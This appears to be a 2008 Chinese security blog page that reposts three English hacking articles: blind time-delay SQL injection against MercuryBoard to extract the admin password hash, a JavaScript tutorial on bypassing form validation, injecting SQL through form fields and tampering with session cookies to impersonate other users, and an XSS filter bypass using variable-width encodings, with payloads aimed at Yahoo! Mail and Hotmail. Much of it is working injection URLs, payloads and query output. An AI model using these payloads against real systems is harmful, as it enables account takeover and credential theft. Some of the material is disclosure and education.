2008年7月14日

MySQL Blind Sql Injection

{==============================================================================}
{                            [   Zeelock-2005   ]                              }
{==============================================================================}
{                                                                              }
{                 A D V A N C E D  S Q L - I N J E C T I O N                   }
{                                                                              }
{                  [   Blind Injection in MySQL Databases   ]                  }
{                                                                              }
{                                                                              }
{==============================================================================}
"Validate anything can be passed. Security lays in the inputs. " - zk
Date: 15th February 2005
Keywords: Benchmark(), IF(), "Blind Injection", "Time Delay", waitfor
Abstract
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
MySQL is not an easy database for Blind SQL Injection: it displays no errors
when an UNION occours between two columns of different type and there isn't a
way to make a query displaying errors from parameters passed inside the query
itself. Many times happens that auditing the code of a php/MySQL application, we
find an injection vulnerability that is not exploitable, because we cannot see
the output or we see always an error cause the value retrieved is passed to
multiple queries with a different numbers of columns before the script ends.
In this cases the SELECT...UNION statement isn't enough. Or not?
Injection toolbox
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
A common trick is always to UNION SELECT [null,null,.. up to the right number of
columns in the previous SELECT]/* to see when we get no errors, so we can
procede further. Even if we know exactly the name of each COLUMN in each TABLE,
is nearly impossible to retrieve the content if no output is displayed.
In the following examples I'll show you step by step how to retrieve the
password hash from a vulnerability discovered in MercuryBoard by codebug.org
that seemed not to be  exploitable because you cannot see any good output.
I assume that the name of the tables is already known. (This is a common issue,
during the auditing of Opensource scripts, or when debugging options are active
by default).
The Vulnerability
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
MercuryBoard v. 1.1.0 Alberto Trivero discovered an SQL-Injection when the
post.php include was switched to 'reply' and the parameter 't' was passed.
The issue generated an error when an user is logged in an tries to perform the
following operation:
http://www.site.com/mercuryboard/index.php?a=post&s=reply&t=1'
The issue seemed not to be exploitable. In reality it was.
Being Ready for Blindness
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
First of all I have fully installed a vulnerable version of Mercuryboard with
a low privileges user for the DB.
|---| DATABASE name is 'mercuryboard'|---| (let's show the tables)
mysql> SHOW TABLES;
+-------------------+
| Tables_in_mercury |
+-------------------+
| mb_active         |
| mb_attach         |
| mb_forums         |
| mb_groups         |
| mb_help           |
| mb_logs           |
| mb_membertitles   |
| mb_pmsystem       |
| mb_posts          |
| mb_replacements   |
| mb_settings       |
| mb_skins          |
| mb_subscriptions  |
| mb_templates      |
| mb_topics         |
| mb_users          |
| mb_votes          |
+-------------------+
17 rows in set (0.00 sec)
|---| As you can see Current User is a common User |---| (Never run as root!)
mysql> SELECT USER();
+---------------+
| USER()        |
+---------------+
| 123@localhost |
+---------------+
1 row in set (0.00 sec)
mysql> SELECT password,USER() FROM mysql.user;
ERROR 1142: select command denied to user: '123@localhost' for table 'user'
mysql>
|---| The following query shows the first byte of Admin's Hash |---|
mysql> SELECT SUBSTRING(user_password,1,1) FROM mb_users WHERE user_group = 1;
+------------------------------+
| SUBSTRING(user_password,1,1) |
+------------------------------+
| 5                            |
+------------------------------+
1 row in set (0.00 sec)
|---| The following is the first byte of Admin's Hash as ASCII number |---|
mysql> SELECT ASCII('5');
+------------+
| ASCII('5') |
+------------+
|         53 |
+------------+
1 row in set (0.00 sec)
Feeling the difference
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
The goal is to find a way to be advised in someway that the contant we are
looking for is the right one. How is it possible to know if the first byte of
Admin Hash is or not equal to '5'?
Well, in NGSS whitepaper the author simply made the query to be delayed if the
content matched the one injected. In msSQL this was pursued with a conditional
IF [QUERY] waitfor [TIME]. MySQL doesn't support 'waitfor'.
In the following query I succeded in creating a delayed of 5 seconds by using an
IF() function followed by a BENCHMARK() function. Current User can execute it
with low privileges (Usually you can execute the BENCHMARK() function if you can
SELECT). That's why is so powerful.
|---| Passing a wrong number |---| (CHAR(52) is equal to '4')
mysql> Select active_id FROM mb_active UNION SELECT IF(SUBSTRING(user_password,1
,1) = CHAR(52),BENCHMARK(5000000,ENCODE('Slow Down','by 5 seconds')),null) FROM
mb_users WHERE user_group = 1;
+-----------+
| active_id |
+-----------+
|         3 |
|         0 |
+-----------+
2 rows in set (0.00 sec)
In the previous example the BENCHMARK() function is not executed (Elapsed Time
0.00 sec).
|---| Passing the matching content |---| (BENCHMARK() is executed)
mysql> Select active_id FROM mb_active UNION SELECT IF(SUBSTRING(user_password,1
,1) = CHAR(53),BENCHMARK(5000000,ENCODE('Slow Down','by 5 seconds')),null) FROM
mb_users WHERE user_group = 1;
+-----------+
| active_id |
+-----------+
|         3 |
|         0 |
+-----------+
2 rows in set (5.36 sec)
In the previous example the BENCHMARK() function delayed the query by 5.36 sec.
Prepairing for GET req
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
To inject sql commands succesfully we have to clean the request from any single
quote.
|---| Cleaning from quotes |---|
mysql> Select active_id FROM mb_active UNION SELECT IF(SUBSTRING(user_password,1
,1) = CHAR(53),BENCHMARK(1000000,MD5(CHAR(1))),null) FROM mb_users WHERE user_gr
oup = 1;
+-----------+
| active_id |
+-----------+
|         3 |
|         0 |
+-----------+
2 rows in set (4.65 sec)
mysql>
Exploiting the vulnerability
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
First we have to log in a Registered User with the rights to reply in the
current thread.
http://127.0.0.1/mercuryboard/index.php?a=post&s=reply&t=1%20UNION%20SELECT%20IF
(SUBSTRING(user_password,1,1)%20=%20CHAR(53),BENCHMARK(1000000,MD5(CHAR(1))),
null),null,null,null,null%20FROM%20mb_users%20WHERE%20user_group%20=%201/*
And we'll see a slow down of a couple of seconds cause the first byte is
CHAR(53), 5.
Bruteforcing
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
For rebuilding content letter by letter is needed only a simple perl script that
performs GET requests and wait for the answer byte after byte {..SUBSTRING(strn,
[1,2,3..n],1)..} and if the response is delayed by 7 to 10 seconds, we have the
right stuff. Bruteforcing could take a while with MD5 hashes, because they are
alfanumeric, 32 bytes long. Fortunately not CASE SENSITIVE.
0 to 9 --> ASCII 48 to 57
a to z --> ASCII 97 to 122
In the worst case it takes about 36 requests of about 3 sec per request plus the
delay for the right byte. A full hash in the worst case could be retrieved in
((3*35)+10)*32= 3622 seconds (1 hour).
Conclusion
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Even MySQL is subjected to Blind Sql Injection.
Thanks to +mala (PowerBrowsing and GA are awesome), NGSS security (for such
'avanced' papers), BlueberryPie friends

posted @ 2008-07-14 17:36 Safe3 阅读(291) 评论(0) 编辑

HACKING WITH JAVASCRIPT

HACKING WITH JAVASCRIPT
Dr_aMado
[Packetstorm editor's note: "hictor" previously claimed this work as his/hers. This appears to be a false claim, based on a person from triviasecurity.org claiming this work as their own, and based on searching for this work on Google and finding references to Dr_aMado. Of course, it is always difficult to verify who the true author is, so we hope you will understand any possible mistake]
This tutorial is an overview of how javascript can be used to bypass
simple/advanced html forms and how it can be used to override cookie/session
authentication.
SIMPLE HTML FORMS
1. Bypassing Required Fields
Surely you have met a webpage that requires you to fill all fields in a
form in order to submit it. It is possible to bypass these types of
restrictions on any webpage. If you take a look at the webpage's source and
follow it down to the form's code, you will notice the onsubmit form
attribute. Hopefully by this time you have experienced the power of
javascript and you know that javascript has control over every single
element in a webpage, including forms.We can use javascript to our advantage
in every page we view for we can modify, delete, or add any element to the
webpage. In this case we wish to clear the form's onsubmit attribute in
order for the form to be submitted successfully.
The onsubmit attribute generally points to a function that checks the form
to have the correct format.  A function that does this may look something
like this:
function formSubmit(x)
{
if(x.email.value=="") return false;
return true;
}
...
<form name="spamform" method=post action="process.php" onsubmit="return
formSubmit(this);">
...
</form>
I will not go into great detail about how the formSubmit function works.
You should know that if the (textfield/optionfield/option/..) field is left
blank, the form will not be submitted to process.php. Now comes the moment
of truth, how do we modify the form so that onsubmit returns true everytime?
The way we can access the form with javascript and do this is:
document.forms[x].onsubmit="return true;";
or
document.spamform.onsubmit="return true;";
Both of these 'queries' will allow you to submit the form free of
restrictions.  The secret is how to execute this.  I do this using my
browser's Location bar. All you have to do is enter this text into the
location bar and press enter:
javascript:document.spamform.onsubmit="return true;";
The above statement will not work because the 'query' will return a value
javascript doesn't know what to do with it so it dumps the returned value on
the screen. We need a way to use this value and escape it from passing on to
javascript. I know the exact way to do this, with alert()!
javascript:alert(document.spamform.onsubmit="return true;");
You will see an alertbox with "return true;" instead of dumping this value
out to the webbrowser. Once you have executed this query you will be able to
enter whatever value into whatever field in spamform.
2. Changing Fields' Values
If you have managed to change a form's onsubmit attribute to let you do
whatever the fuck you want, what are the limits? Of course now you know that
you can modify the onsubmit attribute of a form from the location bar, same
goes for any attributes of any object in the page. This is how you can do
it:
javascript:alert(document.spamform.fieldname.value="Dr_aMado was here!");
or
javascript:alert(document.forms[x].fieldname.value="Dr_aMado was here!");
But of course, you already knew that. Didn't you?  You can change the
values of pretty much anything inside a form, including radios, checkboxes,
selects, hidden values, buttons, anything!
SQL INJECTIONS
1.  Using Forms to Your Advantage
You probably already know about sql injection, my goal is to explain how
vulnerable forms can be if not handled correctly.  When targeting a system,
most times you will start off with 0 code to exploit. The only thing you
have is a constructed webpage to break to pieces and successfully find
vulnerabilities to use to your advantage.
ACQUIRING DATABASE INFORMATION
A very logic way of acquiring system information from a website's database
is by causing errors in the sql queries.  These errors can be created
through search forms, dynamic links, or session cookies.  Most sql injection
papers explain how dynamic links and text boxes can be used to execute sql
queries but in my opinion, this vulnurability is more common in other input
types (select boxes, hidden fields, checkboxes and radio buttons, and
cookies!).
Mixing data types generally crashes a webpage if it's not well coded. Take
for example a link to "memberinfo.php?o_id=1". If your goal is to crash that
page it would be a good idea to stick in a " or a ' in the o_id variable.
If you're lucky you will get a debug message containing the crippled sql
query. After you have all the information you need and you know what you're
going after you're ready to hack the hell out of every page that you have
access to.
CHANGING FIELDS' VALUES
The first form you think of is the profile page.  Most profile pages ignore
a user's intellectuals and don't mask out,for example, select boxes. A way
of exploiting this vulnerability is by injecting a sql query in the value
property of the field.
javascript:alert(document.profileform.user_sex.value="gay\',user_pasword=\'HACKED\'
WHERE user_id=1#");
If we assume that the server side sql query looks something like this:
"UPDATE user_data SET
user_password='$user_password',user_email='$user_email',user_sex='$user_sex'
WHERE user_id=$user_id";
Then the final query will look somewhat like this:
"UPDATE user_data SET
user_password='mypassword',user_email='myemail',user_sex='gay',user_password='HACKED'
WHERE
user_id=1 #' WHERE user_id=7382";
# Is a sql comment operator.
2.  Bypassing Session Cookies
OVERRIDING BASIC SESSION COOKIE AUTHENTICATION
Most of the time session handling is done with the use of cookies. The
cookies tell the webpage who you are and what you have access to and what
you don't have access to.  If the page does not handle session cookies
correctly a  hacker might be able to change their identity to that of
another user's.  Cookies are stored in "window.document.cookie".  With
javascript we are able to erase,edit,create cookies for any website.  This
task is more complicated than regular types of attacks. I will not go into
great detail about how it's done.
To View the Cookie:
javascript:alert(unescape(document.cookie));
To Change Cookie Data:
javascript:alert(window.c=function
a(n,v,nv){c=document.cookie;c=c.substring(c.indexOf(n)+n.length,c.length);c=c.substring(1,((c.indexOf(";")>-1)
? c.indexOf(";") :
c.length));nc=unescape(c).replace(v,nv);document.cookie=n+"="+escape(nc);return
unescape(document.cookie);});alert(c(prompt("cookie
name:",""),prompt("replace this value:",""),prompt("with::","")));
So If You are logged in as "John Doe" in www.ima13370h4x0r.net and your
session cookie reads:
SessionData=a:3:{s:11:"SessionUser";s:5:"75959";s:9:"SessionID";i:70202768;s:9:"LastVisit";i:1078367189;}
The cookie is actually serialized but you should be able to recognize
"75959" as your user_id. Some of the time you will find a website that
stores data (like user_id) in cookies but does not typecast the data. This
is a serious hole in the site's code because any user is able to change
their user_id to any other user or administrator user_id.
Changing the cookie value is easy once you have declared the window.c
function. First change s:5:"75959" to s:x:"ADMINID" where x is the length of
the new value. So if you want to change 75959 to 1. You must change
s:5:"75959" to s:1:"1" :-) Sometimes you will need to change 75959 to "13 or
1=1" in order to bypass any WHERE statements any sql session queries used to
keep you logged in the website.
----------------------------------------------------------------------------------------
Notes:
In-line javascript statements can be added to your browser's favorites for
easier access to your own functions.
It is possible to declare your own functions for use in extended hacks.
Declare the function as a method of window. "alert(window.newfunction =
function (){...})"
----------------------------------------------------------------------------------------
am hictor
lezr.com
thnk you rodhedor
hict0r@hotmail.com
_________________________________________________________________
Express yourself instantly with MSN Messenger! Download today it's FREE!
http://messenger.msn.click-url.com/go/onm00200471ave/direct/01/

posted @ 2008-07-14 17:23 Safe3 阅读(178) 评论(0) 编辑

Bypassing script filters with variable-width encodings

Author: Cheng Peng Su (applesoup_at_gmail.com)
Date: August 7, 2006


We've all known that the main problem of constructing XSS attacks is
how to obfuscate malicious code. In the following paragraphs I will

attempt to explain the concept of bypassing script filters with
variable-width encodings, and disclose the applications of this
concept to

Hotmail and Yahoo! Mail web-based mail services.


Variable-width encoding Introduction
====================================

A variable-width encoding(a.k.a variable-length encoding) is a type of
character encoding scheme in which codes of differing lengths are

used to encode a character set. Most common variable-width encodings
are multibyte encodings, which use varying numbers of bytes to encode

different characters. The first use of multibyte encodings was for the
encoding of Chinese, Japanese and Korean, which have large character

sets well in excess of 256 characters. The Unicode standard has two
variable-width encodings: UTF-8 and UTF-16. The most commonly-used

codes are two-byte codes. The EUC-CN form of GB2312, plus EUC-JP and
EUC-KR, are examples of such two-byte EUC codes. And there are also

some three-byte and four-byte codes.


Example and Discussion
======================

The following is a php file from which I will start to introduce my idea.

------------------------------example.php--------------------------------

<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
</head>
<body>
<?

for($i=0;$i<256;$i++){
echo "Char $i is <font face=\"xyz".chr($i)."\">not </font>"
     ."<font face=\" onmouseover=alert($i) notexist=".chr($i)."\"     >"
      // NOTE: 5 space characters following the last \"
     ."available</font>\r\n\r\n<br>\r\n\r\n";
}

?>
</body>
</html>

-------------------------------------------------------------------------

For most values of $i, Internet Explorer 6.0(SP2) will display "Char
XXX is not available". When $i is between 192(0xC0) and 255(0xFF), you

can see "Char XXX is available". Let's take $i=0xC0 for example,
consider the following code:

Char 192 is <font face="xyz[0xC0]">not </font><font face="
onmouseover=alert(192) s=[0xC0]"     >available</font>

0xC0 is one of the 32 first bytes of 2-byte sequences (0xC0-0xDF) in
UTF-8. So when IE parses the above code, it will consider 0xC0 and the

following quote as a sequence, and therefore these two pairs of FONT
elements will become one with "xyz[0xC0]">not </font><font face=" as

the value of FACE parameter. The second 0xC0 will start another 2-byte
sequence as a value of NOTEXIST parameter which is not quoted. Due

to a space character following by the quote, 0xE0-0xEF which are first
bytes of 3-byte sequences, together with the following quote and one

space character will be considered as the value of NOTEXIST parameter.
And each of the first bytes of 4-byte sequences(0xF0-0xF7), 5-byte

sequences(0xF8-0xFB), 6-byte sequences(0xFC-0xFD), together with the
following quote and space characters will be considered as one

sequence.

Here are the results of the above code parsed by Internet Explorer
6.0(SP2), Firefox 1.5.0.6 and Opera 9.0.1 in different variable-width

encodings respectively. Note that the numbers in the table are the
ranges of "available" characters.

+-----------+-----------+-----------+-----------+
|           | IE        | FF        | OP        |
+-----------+-----------+-----------+-----------+
| UTF-8     | 0xC0-0xFF | none      | none      |
+-----------+-----------+-----------+-----------+
| GB2312    | 0x81-0xFE | none      | 0x81-0xFE |
+-----------+-----------+-----------+-----------+
| GB18030   | none      | none      | 0x81-0xFE |
+-----------+-----------+-----------+-----------+
| BIG5      | 0x81-0xFE | none      | 0x81-0xFE |
+-----------+-----------+-----------+-----------+
| EUC-KR    | 0x81-0xFE | none      | 0x81-0xFE |
+-----------+-----------+-----------+-----------+
| EUC-JP    | 0x81-0x8D | 0x8F      | 0x8E      |
|           | 0x8F-0x9F |           | 0x8F      |
|           | 0xA1-0xFE |           | 0xA1-0xFE |
+-----------+-----------+-----------+-----------+
| SHIFT_JIS | 0x81-0x9F | 0x81-0x9F | 0x81-0x9F |
|           | 0xE0-0xFC | 0xE0-0xFC | 0xE0-0xFC |
+-----------+-----------+-----------+-----------+


Application
===========

I don't think there is a typical exploitation of bypassing script
filters with variable-width encodings, because the exploitation is
very

flexible. But you just need to remember that if the webapp use
variable-width encodings, you can bury some characters following by
your

entry, and the buried characters might be very crucial.

The above code might be exploited in general webapps which allow you
to add formatting to your entry in the same way as HTML does. For

example, in some forums, [font=Courier New]message[/font] in your
message will be transformed into <font face="Courier
New">message</font>.

Supposing it use UTF-8, we can attack by sending

[font=xyz[0xC0]]buried[/font][font=abc onmouseover=alert()
s=[0xC0]]exploited[/font]

And it will be tranformed into

<font face="xyz[0xC0]">buried</font><font face="abc
onmouseover=alert() s=[0xC0]">exploited</font>

Again, the exploitation is very flexible, this FONT-FONT example is
just an enlightening one. The following exploitaion to Yahoo! Mail is

quite different from this one.


Disclosure
==========

Using this method, I have found two XSS vulnerabilities in Hotmail and
Yahoo! Mail web-based mail services. I informed Yahoo and Microsoft

on April 30 and May 12 respectively. And they have patched the vulnerabilities.

Yahoo! Mail XSS
---------------

Before I discovered this vulnerability, Yahoo! Mail filtering engine
could block "expression()" syntax in a CSS attribute using a comment

to break up expression( expr/* */ession() ). I used [0x81] with the
following asterisk to make a sequence, so that the second */ would

close the comment. But the filtering engine considered the first two
comment symbol as a pair.

--------------------------------------------------------------------
MIME-Version: 1.0
From: user<user@site.com>
Content-Type: text/html; charset=GB2312
Subject: example

<span style='width:expr/*[0x81]*/*/ession(alert())'>exploited</span>
.
--------------------------------------------------------------------

Hotmail XSS
-----------

This exploitation is almost the same as the example.php.

--------------------------------------------------------------------
MIME-Version: 1.0
From: user<user@site.com>
Content-Type: text/html; charset=SHIFT_JIS
Subject: example

<font face="[0x81]"></font><font face=" onmouseover=alert()
s=[0x81]">exploited</font>
.
--------------------------------------------------------------------


Reference
=========

Wikipedia:Variable-width
encoding(http://en.wikipedia.org/wiki/Variable-width_encoding)
RFC 3629, the UTF-8 standard(http://tools.ietf.org/html/rfc3629)
RSnake:XSS Cheat Sheet(http://ha.ckers.org/xss.html)


( Original text: http://applesoup.googlepages.com/bypass_filter.txt )

posted @ 2008-07-14 17:16 Safe3 阅读(571) 评论(0) 编辑

导航

<2008年7月>
293012345
6789101112
13141516171819
20212223242526
272829303112
3456789

公告

官方网站:http://www.safe3.com.cn/
昵称:Safe3
园龄:4年7个月
粉丝:7
关注:0

搜索

 

最新随笔

随笔分类

Links

最新评论

阅读排行榜

推荐排行榜